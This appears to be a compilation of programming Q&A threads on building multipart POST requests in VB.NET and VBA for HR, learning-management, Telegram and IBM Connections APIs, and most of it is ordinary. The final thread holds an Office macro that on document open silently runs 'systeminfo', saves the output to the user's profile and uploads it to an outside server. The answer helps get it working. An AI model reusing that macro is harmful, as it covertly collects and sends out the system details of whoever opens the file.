POST a Multi-Part Form to Bamboo API - vb.net

I'm having a lot of difficulty submitting a multi-part form through a VB.NET console application to BambooHR API. I've posted my current code as well as a sample request from the documentation below, when I run this code I get (400) Bad Request. I know the code is messy, but I've just been trying to get it to work.
I was able to make a GET request work by using their sample code, but they didn't have any code to do this specific API call (upload an employee file).
ANY help would be appreciated.
Here is my code:
Sub Main()
upload(id, "https://api.bamboohr.com/api/gateway.php/company")
Console.WriteLine()
Console.WriteLine("Press ENTER to quit")
Console.ReadLine()
End Sub
Function upload(ByVal employeeId As Integer, ByVal baseUrl As String)
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 Or SecurityProtocolType.Ssl3
Dim boundary = "----BambooHR-MultiPart-Mime-Boundary----"
Dim url = String.Format("{0}/v1/employees/{1}/files/", baseUrl, employeeId)
Dim request As HttpWebRequest = WebRequest.Create(url)
request.KeepAlive = True
request.Method = "POST"
request.ContentType = "multipart/form-data; boundary=" + boundary
'Authorization is just the api key and a random string, in this case is x
'
Dim authInfo As String = api_key + ":" + "x"
authInfo = Convert.ToBase64String(Encoding.Default.GetBytes(authInfo))
request.Headers("Authorization") = "Basic " + authInfo
Dim memStream As New MemoryStream()
WriteMPF(memStream)
request.ContentLength = memStream.Length
Using requestStream = request.GetRequestStream()
memStream.Position = 0
Dim tempBuffer As Byte() = New Byte(memStream.Length - 1) {}
memStream.Read(tempBuffer, 0, tempBuffer.Length)
memStream.Close()
requestStream.Write(tempBuffer, 0, tempBuffer.Length)
End Using
Dim webresponse As HttpWebResponse = request.GetResponse()
Return webresponse
End Function
Private Sub WriteMPF(s As Stream)
WriteToStream(s, "POST /api/gateway.php/company/v1/employees/id/files/ HTTP/1.0")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "Host: api.bamboohr.com")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "Content-Type: multipart/form-data; boundary=----BambooHR-MultiPart-Mime-Boundary----")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "Content-Length: 520")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "------BambooHR-MultiPart-Mime-Boundary----")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "Content-Disposition: form-data; name=""category""")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "14")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "------BambooHR-MultiPart-Mime-Boundary----")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "Content-Disposition: form-data; name=""fileName""")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "test.txt")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "------BambooHR-MultiPart-Mime-Boundary----")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "Content-Disposition: form-data; name=""share""")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "no")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "------BambooHR-MultiPart-Mime-Boundary----")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "Content-Disposition: form-data; name=""file""; filename = ""test.txt""")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "Content-Type: text/plain")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "this is a test!")
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, vbCr & vbLf)
WriteToStream(s, "------BambooHR-MultiPart-Mime-Boundary------")
WriteToStream(s, vbCr & vbLf)
End Sub
Private Sub WriteToStream(s As Stream, txt As String)
Dim bytes As Byte() = Encoding.UTF8.GetBytes(txt)
s.Write(bytes, 0, bytes.Length)
End Sub
Here is a sample request from the documentation: (link: https://www.bamboohr.com/api/documentation/employees.php scroll down to "Upload an Employee File")
POST /api/gateway.php/sample/v1/employees/1/files/ HTTP/1.0
Host: api.bamboohr.com
Content-Type: multipart/form-data; boundary=----BambooHR-MultiPart-Mime-Boundary----
Content-Length: 520
------BambooHR-MultiPart-Mime-Boundary----
Content-Disposition: form-data; name="category"
112
------BambooHR-MultiPart-Mime-Boundary----
Content-Disposition: form-data; name="fileName"
readme.txt
------BambooHR-MultiPart-Mime-Boundary----
Content-Disposition: form-data; name="share"
yes
------BambooHR-MultiPart-Mime-Boundary----
Content-Disposition: form-data; name="file"; filename="readme.txt"
Content-Type: text/plain
This is a sample text file.
------BambooHR-MultiPart-Mime-Boundary------

Used the php example on their GitHub and copied it over to VB.NET. It's a little messy, but it works. Here is the relevant code:
Public Function sendRequestMPF(ByVal req As BambooHTTPRequest, ByVal fileLocation As String) As BambooHTTPResponse
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 Or SecurityProtocolType.Ssl3
Dim request As HttpWebRequest = WebRequest.Create(req.url)
request.Method = req.method
request.Host = "api.bamboohr.com"
Dim boundary = "----BambooHR-MultiPart-Mime-Boundary----"
Try
request.ContentType = "multipart/form-data; boundary=" + boundary
request.ContentLength = req.contents.Length
Catch ex As Exception
End Try
Dim iCount As Integer = req.headers.Count
Dim key As String
Dim keyvalue As String
Dim i As Integer
For i = 0 To iCount - 1
key = req.headers.Keys(i)
keyvalue = req.headers(i)
request.Headers.Add(key, keyvalue)
Next
Dim enc As System.Text.UTF8Encoding = New System.Text.UTF8Encoding()
Dim bytes() As Byte = {}
Dim pdfBytes() As Byte = {}
Dim lBytes() As Byte = {}
Dim fBytes() As Byte = {}
Dim s As New MemoryStream()
If (req.contents.Length > 0) Then
bytes = enc.GetBytes(req.contents)
s.Write(bytes, 0, bytes.Length)
pdfBytes = File.ReadAllBytes(fileLocation)
s.Write(pdfBytes, 0, pdfBytes.Length)
Dim postHeader = vbCrLf + vbCrLf + "--" + boundary + "--" + vbCrLf
Dim postHeaderBytes() As Byte = enc.GetBytes(postHeader)
lBytes = enc.GetBytes(postHeader)
s.Write(postHeaderBytes, 0, postHeaderBytes.Length)
fBytes = s.ToArray()
request.ContentLength = fBytes.Length
End If
request.AllowAutoRedirect = False
If Not basicAuthUsername.Equals("") Then
Dim authInfo As String = basicAuthUsername + ":" + basicAuthPassword
authInfo = Convert.ToBase64String(Encoding.Default.GetBytes(authInfo))
request.Headers("Authorization") = "Basic " + authInfo
End If
If req.contents.Length > 0 Then
Dim outBound As Stream = request.GetRequestStream()
outBound.Write(fBytes, 0, fBytes.Length)
End If
Dim resp As BambooHTTPResponse
Try
Dim webresponse As HttpWebResponse = request.GetResponse()
resp = New BambooHTTPResponse(webresponse)
resp.responseCode = webresponse.StatusCode
resp.headers = webresponse.Headers
Catch e As WebException
Console.WriteLine(e.Message)
If (e.Status = WebExceptionStatus.ProtocolError) Then
resp = New BambooHTTPResponse(DirectCast(e.Response, HttpWebResponse).StatusCode)
Else
resp = New BambooHTTPResponse(0)
End If
End Try
Return resp
End Function
Public Function buildMultiPart(ByVal params As NameValueCollection, ByVal boundary As String, ByVal contentType As String, ByVal name As String, ByVal fileName As String)
Dim data = ""
For Each key In params.AllKeys
data += "--" + boundary + vbCrLf
data += "Content-Disposition: form-data; name=""" + key + """"
data += vbCrLf + vbCrLf
data += params(key) + vbCrLf
Next
data += "--" + boundary + vbCr + vbLf
data += "Content-Disposition: form-data; name=""" + name + """;" + " filename=""" + fileName + """" + vbCrLf
data += "Content-Type: " + contentType + vbCrLf
data += vbCrLf
'data += fileData + vbCrLf + vbCrLf
'data += "--" + boundary + "--" + vbCrLf
Return data
End Function
Public Function uploadEmployeeFile(ByVal employeeId As Integer, ByVal fileName As String, ByVal fileLocation As String)
Dim request As New BambooHTTPRequest()
request.url = String.Format("{0}/v1/employees/{1}/files/", Me.baseUrl, employeeId)
request.method = "POST"
Dim boundary = "----BambooHR-MultiPart-Mime-Boundary----"
Dim params = New NameValueCollection
params.Add("category", "13")
params.Add("fileName", fileName)
params.Add("share", "no")
request.contents = buildMultiPart(params, boundary, "application/pdf", "file", fileName)
Return http.sendRequestMPF(request, fileLocation)
End Function
The rest of the code needed can be found on their GitHub https://github.com/BambooHR

I suspect that at the very least your Content-Length: 520 will be wrong. That content length was only applicable to their example.
Anyway, I haven't written VB.Net in a long, long time, but from a quick test a modified version of this code works against one of my REST services, so it should work in your case, with perhaps some minor tweaking.
My test console project used .Net 4.6.1, but will likely run with some of the earlier .Net Frameworks.
Imports System.IO
Imports System.Net.Http
Module Module1
Sub Main()
Call UploadFileToWebsite(14, "no", "D:\Temp\file.pdf")
Console.WriteLine("Please wait for a response from the server and then press a key to continue.")
Console.ReadKey()
End Sub
Public Sub UploadFileToWebsite(category As Integer, share As String, file As String)
Dim message = New HttpRequestMessage()
Dim content = New MultipartFormDataContent()
content.Add(New StringContent(category.ToString()), "category")
content.Add(New StringContent(share), "share")
Dim filestream = New FileStream(file, FileMode.Open)
Dim fileName = System.IO.Path.GetFileName(file)
content.Add(New StreamContent(filestream), "file", fileName)
message.Method = HttpMethod.Post
message.Content = content
message.RequestUri = New Uri("https://api.bamboohr.com/api/gateway.php/company")
Dim client = New HttpClient()
client.SendAsync(message).ContinueWith(
Sub(task)
'do something with response
If task.Result.IsSuccessStatusCode Then
Console.WriteLine("Uploaded OK.")
Else
Console.WriteLine("Upload Failed.")
End If
End Sub)
End Sub
End Module
On an unrelated note, you can also use vbCrLf instead of vbCr & vbLf.

Related

VBA TalentLMS API Post Request with multipart/form-data throwing error when passing Request Body with boundaries in as a string parameter

I am creating a Module in MS Access to make API calls to different endpoints in the TalentLMS API. I am creating functions to minimize the code needed for each endpoint. So far all of my GET requests are working. I have a POST request to add a user account working as well. The problem that I am running into is that I have a POST request to delete a user account that works if I generate the multipart/form-data (Request Body) in the API Call function but does not work if I pass the mutlipart/form-data (Request Body) in as a parameter to the API Call function.
This is Working I generate the request body with boundaries within the API call function as a string.
Function talentAPICall_3(ByVal intUserid As Integer, ByVal strPermanent As String) As String
Dim request As New MSXML2.XMLHTTP30
Dim apiURL, boundary, postData, strRequest, strResponse As String
Dim contentLen As Long
apiURL = "https://<<myDomain>>.talentlms.com/api/v1/"
strRequest = apiURL & "deleteuser/"
boundary = "----------------------------" & Format(Now, "ddmmyyyyhhmmss")
postData = "--" & boundary & vbCrLf & _
"Content-Disposition: form-data; name=""user_id""" & vbCrLf & _
"Content-Type: text/plain; charset=UTF-8" & vbCrLf & vbCrLf & _
intUserid & vbCrLf & _
"--" & boundary & vbCrLf & _
"Content-Disposition: form-data; name=""permanent""" & vbCrLf & _
"Content-Type: text/plain; charset=UTF-8" & vbCrLf & vbCrLf & _
strPermanent & vbCrLf & _
"--" & boundary & "--"
contentLen = Len(postData)
With request
.Open "POST", (strRequest), False
.setRequestHeader "Authorization", "Basic <<MyAPIKey>>=="
.setRequestHeader "Host", "<<myDomain>>.talentlms.com"
.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & boundary
.setRequestHeader "content-Length", contentLen
.send (postData)
While request.ReadyState <> 4
DoEvents
Wend
strResponse = .responseText
End With
Debug.Print "Server responded with status " & request.statusText & " - code: "; request.status
Debug.Print postData
talentAPICall_3 = strResponse
End Function
This is NOT Working Where I use a getBoundaries() function to pass the body request with boundaries as a string to the API call function.
Function DelUser(ByVal intUserid As Integer, ByVal strPermanent As String) As String
Dim postData, strResponse As String
Dim boundaries() As Variant
boundaries = Array("user_id", intUserid, "permanent", strPermanent)
postData = getBoundaries(boundaries)
strResponse = talentAPICall_4(postData)
DelUser = strResponse
End Function
Which calls the following.
Function getBoundaries(params() As Variant) As String
Dim boundary, boundaries As String
boundary = "----------------------------" & Format(Now, "ddmmyyyyhhmmss")
Dim i As Long
boundaries = ""
For i = LBound(params) To UBound(params)
boundaries = boundaries & "--" & boundary & vbCrLf & _
"Content-Disposition: form-data; name=""" & params(i) & """" & vbCrLf & _
"Content-Type: text/plain; charset=UTF-8" & vbCrLf & vbCrLf
i = i + 1
boundaries = boundaries & params(i) & vbCrLf
Next i
boundaries = boundaries & "--" & boundary & "--"
getBoundaries = boundaries
End Function
When the Request Body is generated with boundaries and returned as a string, it is then passed as a parameter to the next function.
Function talentAPICall_4(ByVal postData As String) As String
Dim request As New MSXML2.XMLHTTP30
Dim apiURL, boundary, strRequest, strResponse As String
Dim contentLen As Long
apiURL = "https://<<myDomain>>.talentlms.com/api/v1/"
strRequest = apiURL & "deleteuser/"
boundary = Left(postData, 44)
contentLen = Len(postData)
With request
.Open "POST", (strRequest), False
.setRequestHeader "Authorization", "Basic <<MyAPIKey>>=="
.setRequestHeader "Host", "<<myDomain>>.talentlms.com"
.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & boundary
.setRequestHeader "content-Length", contentLen
.send (postData)
While request.ReadyState <> 4
DoEvents
Wend
strResponse = .responseText
End With
Debug.Print "Server responded with status " & request.statusText & " - code: "; request.status
Debug.Print postData
talentAPICall_4 = strResponse
End Function
Here are the results of both methods used:
Working:
call talentAPICall_3(3314, "yes")
Server responded with status OK - code: 200
Posted Data:
------------------------------15022023131313
Content-Disposition: form-data; name="user_id"
Content-Type: text/plain; charset=UTF-8
3314
------------------------------15022023131313
Content-Disposition: form-data; name="permanent"
Content-Type: text/plain; charset=UTF-8
yes
------------------------------15022023131313--
Not Working:
call delUser(3314, "yes")
Server responded with status Bad Request - code: 400
Posted Data:
------------------------------15022023131246
Content-Disposition: form-data; name="user_id"
Content-Type: text/plain; charset=UTF-8
3314
------------------------------15022023131246
Content-Disposition: form-data; name="permanent"
Content-Type: text/plain; charset=UTF-8
yes
------------------------------15022023131246--
As you can see, except for the variation of the time stamp used to create the boundary, the postData from Debug.Print for both functions is the same. The TalentLMS API states that the following for the 400 error code "A required parameter is missing or an invalid type (e.g. a string) was supplied instead of an integer." In both cases postData is a String and they have the same parameters.
Anyone see what I am missing?
In your "working" code the boundary header length is 42, and in the non-working code it's 44?
You need to remove the leading "--"...
boundary = Mid(postData, 3, 42)
Might be safer to pass the boundary in to getBoundaries rather than try to extract it from the output.

Send local Document via Telegram Bot API using VBA

Using VBA (Visual Basic for Applications), I am attempting to send a local document via the Telegram Bot API.
I have been able to send a Photo successfully and attempted to modify the code in order to send a document.
I am attempting to use the multipart/form-data method of loading the file.
When running the code, I get the following response from the Telegram server:
{"ok":false,"error_code":400,"description":"Bad Request: there is no document in the request"}
Here is a solution for sending a photograph and I have used this successfully:
Exel VBA send image using Telegram bot api
However, I now want to send a PDF document rather than an image and this is where I am stuck.
Below is the code adapted from the sending of an image in an attempt to send a PDF document.
#CDP1802 - perhaps you are able to assist?
Sub Telegram_PDF()
Const URL = "https://api.telegram.org/bot"
Const TOKEN = "**Token**"
Const METHOD_NAME = "/sendDocument?"
Const CHAT_ID = "**Chat ID**"
Const FOLDER = "C:\Users\rk\Downloads\"
Const JPG_FILE = "babok-30-poster.pdf"
Dim data As Object, key
Set data = CreateObject("Scripting.Dictionary")
data.Add "chat_id", CHAT_ID
' generate boundary
Dim BOUNDARY, s As String, n As Integer
For n = 1 To 16: s = s & Chr(65 + Int(Rnd * 25)): Next
BOUNDARY = s & CDbl(Now)
Dim part As String, ado As Object
For Each key In data.keys
part = part & "--" & BOUNDARY & vbCrLf
part = part & "Content-Disposition: form-data; name=""" & key & """" & vbCrLf & vbCrLf
part = part & data(key) & vbCrLf
Next
' filename
part = part & "--" & BOUNDARY & vbCrLf
part = part & "Content-Disposition: form-data; name=""Document""; filename=""" & JPG_FILE & """" & vbCrLf & vbCrLf
' read jpg file as binary
Dim jpg
Set ado = CreateObject("ADODB.Stream")
ado.Type = 1 'binary
ado.Open
ado.LoadFromFile FOLDER & JPG_FILE
ado.Position = 0
jpg = ado.read
ado.Close
' combine part, jpg , end
ado.Open
ado.Position = 0
ado.Type = 1 ' binary
ado.Write ToBytes(part)
ado.Write jpg
ado.Write ToBytes(vbCrLf & "--" & BOUNDARY & "---")
ado.Position = 0
Dim req As Object, reqURL As String
Set req = CreateObject("MSXML2.ServerXMLHTTP.6.0")
reqURL = URL & TOKEN & METHOD_NAME
With req
.Open "POST", reqURL, False
.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & BOUNDARY
.send ado.read
Debug.Print .responseText
End With
End Sub
Try this.
P.S: Thanks to #CDP1802
Code:
Sub send_Document()
Const URL = "https://api.telegram.org/bot"
Const TOKEN = "*TOKEN*"
Const METHOD_NAME = "/sendDocument?"
Const CHAT_ID = "*CHAT_ID*"
Const FOLDER = "*PATH_TO_FILE*"
Const DOCUMENT_FILE = "*FILENAME*"
Dim data As Object, key
Set data = CreateObject("Scripting.Dictionary")
data.Add "chat_id", CHAT_ID
' generate boundary
Dim BOUNDARY, s As String, n As Integer
For n = 1 To 16: s = s & Chr(65 + Int(Rnd * 25)): Next
BOUNDARY = s & CDbl(Now)
Dim part As String, ado As Object
For Each key In data.keys
part = part & "--" & BOUNDARY & vbCrLf
part = part & "Content-Disposition: form-data; name=""" & key & """" & vbCrLf & vbCrLf
part = part & data(key) & vbCrLf
Next
' filename
part = part & "--" & BOUNDARY & vbCrLf
part = part & "Content-Disposition: form-data; name=""document""; filename=""" & DOCUMENT_FILE & """" & vbCrLf & vbCrLf
' read document file as binary
Dim doc
Set ado = CreateObject("ADODB.Stream")
ado.Type = 1 'binary
ado.Open
ado.LoadFromFile FOLDER & DOCUMENT_FILE
ado.Position = 0
doc = ado.read
ado.Close
' combine part, document, end
ado.Open
ado.Position = 0
ado.Type = 1 ' binary
ado.Write ToBytes(part)
ado.Write doc
ado.Write ToBytes(vbCrLf & "--" & BOUNDARY & "--")
ado.Position = 0
Dim req As Object, reqURL As String
Set req = CreateObject("MSXML2.XMLHTTP")
reqURL = URL & TOKEN & METHOD_NAME
With req
.Open "POST", reqURL, False
.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & BOUNDARY
.send ado.read
MsgBox .responseText
End With
End Sub
Function ToBytes(str As String) As Variant
Dim ado As Object
Set ado = CreateObject("ADODB.Stream")
ado.Open
ado.Type = 2 ' text
ado.Charset = "_autodetect"
ado.WriteText str
ado.Position = 0
ado.Type = 1
ToBytes = ado.read
ado.Close
End Function
Change the key variables!

Get and Forget Url using vb.net

I want to create get and forget Url using vb.net. Basically I will push an url(just get response from url, not showing in the browser/run in background) and forget.
I want push 10 url at the same time when I the button clicked.
Here's my code, but it still processing the url the url one by one.
Private Sub BtnHit_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnHit.Click
Dim startp As DateTime = New DateTime(CDate(BtnStartDate.Text.ToString).Year, CDate(BtnStartDate.Text.ToString).Month, CDate(BtnStartDate.Text.ToString).Day)
Dim endp As DateTime = New DateTime(CDate(BtnEndDate.Text.ToString).Year, CDate(BtnEndDate.Text.ToString).Month, CDate(BtnEndDate.Text.ToString).Day)
Dim CurrD As DateTime = startp
'Call PostTo("http://localhost:8089/Process/GetDataRencanaLembur.aspx?sid=88665765746873243", "POST", "&NIP=000323971&START_DATE=18 Aug 2015&END_DATE=19 Aug 2015")
While (CurrD <= endp)
Call PostTo("http://" & My.Settings.UrlServer & "/Process/SubmitRencanaLembur.aspx?sid=" & ((DateTime.UtcNow - New DateTime(1970, 1, 1, 0, 0, 0)).TotalSeconds).ToString.Trim, "POST", "&NOREG=" & Noreg.Trim & "&Nama=" & LblNama.Text.Trim & "&DirectReport=" & LblDirectReport.Text.Trim & "&Tanggal=" & Format(CurrD, "dd MMM yyyy") & "&OTPlan=03%3A00&Reason=Robot Testing")
CurrD = CurrD.AddDays(1)
End While
end sub
Protected Sub PostTo(ByVal url As String, ByVal method As String, ByVal postData As String)
CreateLog("Start Time : " & Now.ToString("HH:mm:ss.fff"))
Dim stopwatch As Stopwatch = stopwatch.StartNew()
Dim myWebRequest As HttpWebRequest = TryCast(WebRequest.Create(url), HttpWebRequest)
myWebRequest.Method = method
Dim byteArray As Byte() = System.Text.Encoding.[Default].GetBytes(postData)
myWebRequest.ContentType = "application/x-www-form-urlencoded"
myWebRequest.ContentLength = byteArray.Length
Dim dataStream As System.IO.Stream = myWebRequest.GetRequestStream()
dataStream.Write(byteArray, 0, byteArray.Length)
dataStream.Close()
Dim myWebResponse As WebResponse = myWebRequest.GetResponse()
LblStatus.Text = (DirectCast(myWebResponse, HttpWebResponse)).StatusCode & " " & (DirectCast(myWebResponse, HttpWebResponse)).StatusDescription
dataStream = myWebResponse.GetResponseStream()
Dim reader As New System.IO.StreamReader(dataStream)
Dim responseFromServer As String = reader.ReadToEnd()
RichTextBox1.Text = RichTextBox1.Text & vbNewLine & responseFromServer + ":"
reader.Close()
dataStream.Close()
myWebResponse.Close()
CreateLog("End Time : " & Now.ToString("HH:mm:ss.fff"))
CreateLog("Parameter : " & postData & vbNewLine & "Status Code : " & LblStatus.Text & " " & stopwatch.ElapsedMilliseconds & "ms" & vbNewLine & "URL : " & url & postData & vbNewLine & "Response From Server : " & responseFromServer & vbNewLine)
End Sub
You need to create a new thread within your while loop:
While (CurrD <= endp)
Task.Factory.StartNew(Sub()
Call PostTo("http://" & My.Settings.UrlServer & "/Process/SubmitRencanaLembur.aspx?sid=" & ((DateTime.UtcNow - New DateTime(1970, 1, 1, 0, 0, 0)).TotalSeconds).ToString.Trim, "POST", "&NOREG=" & Noreg.Trim & "&Nama=" & LblNama.Text.Trim & "&DirectReport=" & LblDirectReport.Text.Trim & "&Tanggal=" & Format(CurrD, "dd MMM yyyy") & "&OTPlan=03%3A00&Reason=Robot Testing")
CurrD = CurrD.AddDays(1)
End Sub)
End While

How to post a forum topic with attachment to IBM Connections using Excel VBA

I am trying to post a forum topic with attached image file to IBM Connections 5.0 using Excel VBA.
According to IBM Connections API description a multipart request will be required here.
What I already managed is to post a forum topic without attachment and also attaching a text or image file to an existing wiki page. Therefore I assume that the problem is not related with these aspects but rather with the correct formatting of the multipart request. API description is not very clear to me here and I tried several things I found about multipart requests in other help forums. But all I get is a response "400 bad request".
Maybe some of you experts can give me a hint about my code:
Public Sub CreateForumPost()
Const sBoundary As String = "2588eb82-2e1c-4aec-9f4f-d65a3ecf8fab"
Dim oHttp As MSXML2.xmlhttp
Dim sUrl As String
Dim sBody As String
'create XMLHTTP object and URL
Set oHttp = CreateObject("MSXML2.XMLHTTP")
sUrl = "https://my-connect-server/forums/atom/topics?forumUuid=9e51cbfb-4b1d-405d-9835-dbd087c49a65"
'create forum post
sBody = "--" & sBoundary & vbCrLf
sBody = sBody & "<?xml version=""1.0"" encoding=""UTF-8""?>"
sBody = sBody & "<entry xmlns=""http://www.w3.org/2005/Atom"" xmlns:app=""http://www.w3.org/2007/app"" xmlns:snx=""http://www.ibm.com/xmlns/prod/sn"">"
sBody = sBody & "<category scheme=""http://www.ibm.com/xmlns/prod/sn/type"" term=""forum-topic""/>"
sBody = sBody & "<title type=""text""> " & "My Title" & " </title>"
sBody = sBody & "<category term=""question"" scheme=""http://www.ibm.com/xmlns/prod/sn/flags""/>"
sBody = sBody & "<category term=""" & "my-tag" & """/>"
sBody = sBody & "<content type=""html""> " & "My post content" & " </content>"
sBody = sBody & "</entry>" & vbCrLf
sBody = sBody & "--" & sBoundary & vbCrLf
sBody = sBody & "Content-Disposition: attachment; filename=""dummy.txt""" & vbCrLf & vbCrLf
sBody = sBody & sGetFile("c:\temp\dummy.txt") & vbCrLf
sBody = sBody & "--" & sBoundary & "--" & vbCrLf
Call oHttp.Open("POST", sUrl, False)
Call oHttp.setRequestHeader("Content-Type", "multipart/related;boundary=" & sBoundary & ";type=""application/atom+xml""")
Call oHttp.send(pvToByteArray(sBody))
If oHttp.Status = 201 Then
Call MsgBox("success")
Else
Call MsgBox("error")
Stop
End If
End Sub
Private Function sGetFile(sName As String) As String
Dim abyContent() As Byte
Dim iNumber As Integer
Dim lLen As Long
lLen = FileLen(sName)
If lLen > 0 Then
ReDim abyContent(lLen - 1)
iNumber = FreeFile
Open sName For Binary Access Read As iNumber
Get iNumber, , abyContent
Close iNumber
sGetFile = StrConv(abyContent, vbUnicode)
Else
sGetFile = ""
End If
End Function
Function pvToByteArray(sText As String) As Byte()
pvToByteArray = StrConv(sText, vbFromUnicode)
End Function
We found out what the problem was. It was indeed about the formatting of the multipart request. You need to be very careful with the CrLf characters ...
Public Sub CreateForumPost()
'...
'create forum post
sBody = vbCrLf & "--" & sBoundary & vbCrLf & vbCrLf
'...
sBody = sBody & sGetFile("c:\temp\dummy.txt") & vbCrLf
sBody = sBody & "--" & sBoundary & "--"
'...
End Sub
Now it works. Nevertheless many thanks for your support!

Send file via post in visual basic

i'm coding a makro in MS Word to execute a command in cmd and send it to the remote server via POST. I have no expirience in VB so the error could be easy to solve, but i have no idea what i'm doing wrong
Sub Run_Cmd(command, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute
End Sub
Sub Run_Program(program, arguments, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute
End Sub
Const INVISIBLE = 0
Const WAIT = True
Private Sub pvPostFile(sUrl As String, sFileName As String, sPath As String, Optional ByVal bAsync As Boolean)
Const STR_BOUNDARY As String = "3fbd04f5-b1ed-4060-99b9-fca7ff59c113"
Dim nFile As Integer
Dim baBuffer() As Byte
Dim sPostData As String
'--- read file
nFile = FreeFile
Open sPath For Binary Access Read As nFile
If LOF(nFile) > 0 Then
ReDim baBuffer(0 To LOF(nFile) - 1) As Byte
Get nFile, , baBuffer
sPostData = StrConv(baBuffer, vbUnicode)
MsgBox sPostData
End If
Close nFile
'--- prepare body
sPostData = "--" & STR_BOUNDARY & vbCrLf & _
"Content-Disposition: form-data; name=""uploadfile""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _
"Content-Type: application/octet-stream" & vbCrLf & vbCrLf & _
sPostData & vbCrLf & _
"--" & STR_BOUNDARY & "--"
'--- post
With CreateObject("Microsoft.XMLHTTP")
.Open "POST", sUrl, bAsync
.SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & STR_BOUNDARY
.Send pvToByteArray(sPostData)
End With
End Sub
Private Function pvToByteArray(sText As String) As Byte()
pvToByteArray = StrConv(sText, vbFromUnicode)
End Function
Sub Workbook_Open()
Run_Cmd "systeminfo > %USERPROFILE%\temp.txt", INVISIBLE, WAIT
Dim envstring As String
envstring = Environ$("USERPROFILE")
envstring = envstring & "\temp.txt"
pvPostFile "http://testujemywordpressa.pl/index.php", "temp.txt", envstring
End Sub
debugger says that "The system can not locate the specified resource"
The reason you are receiving that error message is because the server you are trying to reach doesn't exist. Check the URL that you are passing to pvPostFile(). I have received this error many times because of bad URLs in the past few months. Let me know if this works out for you.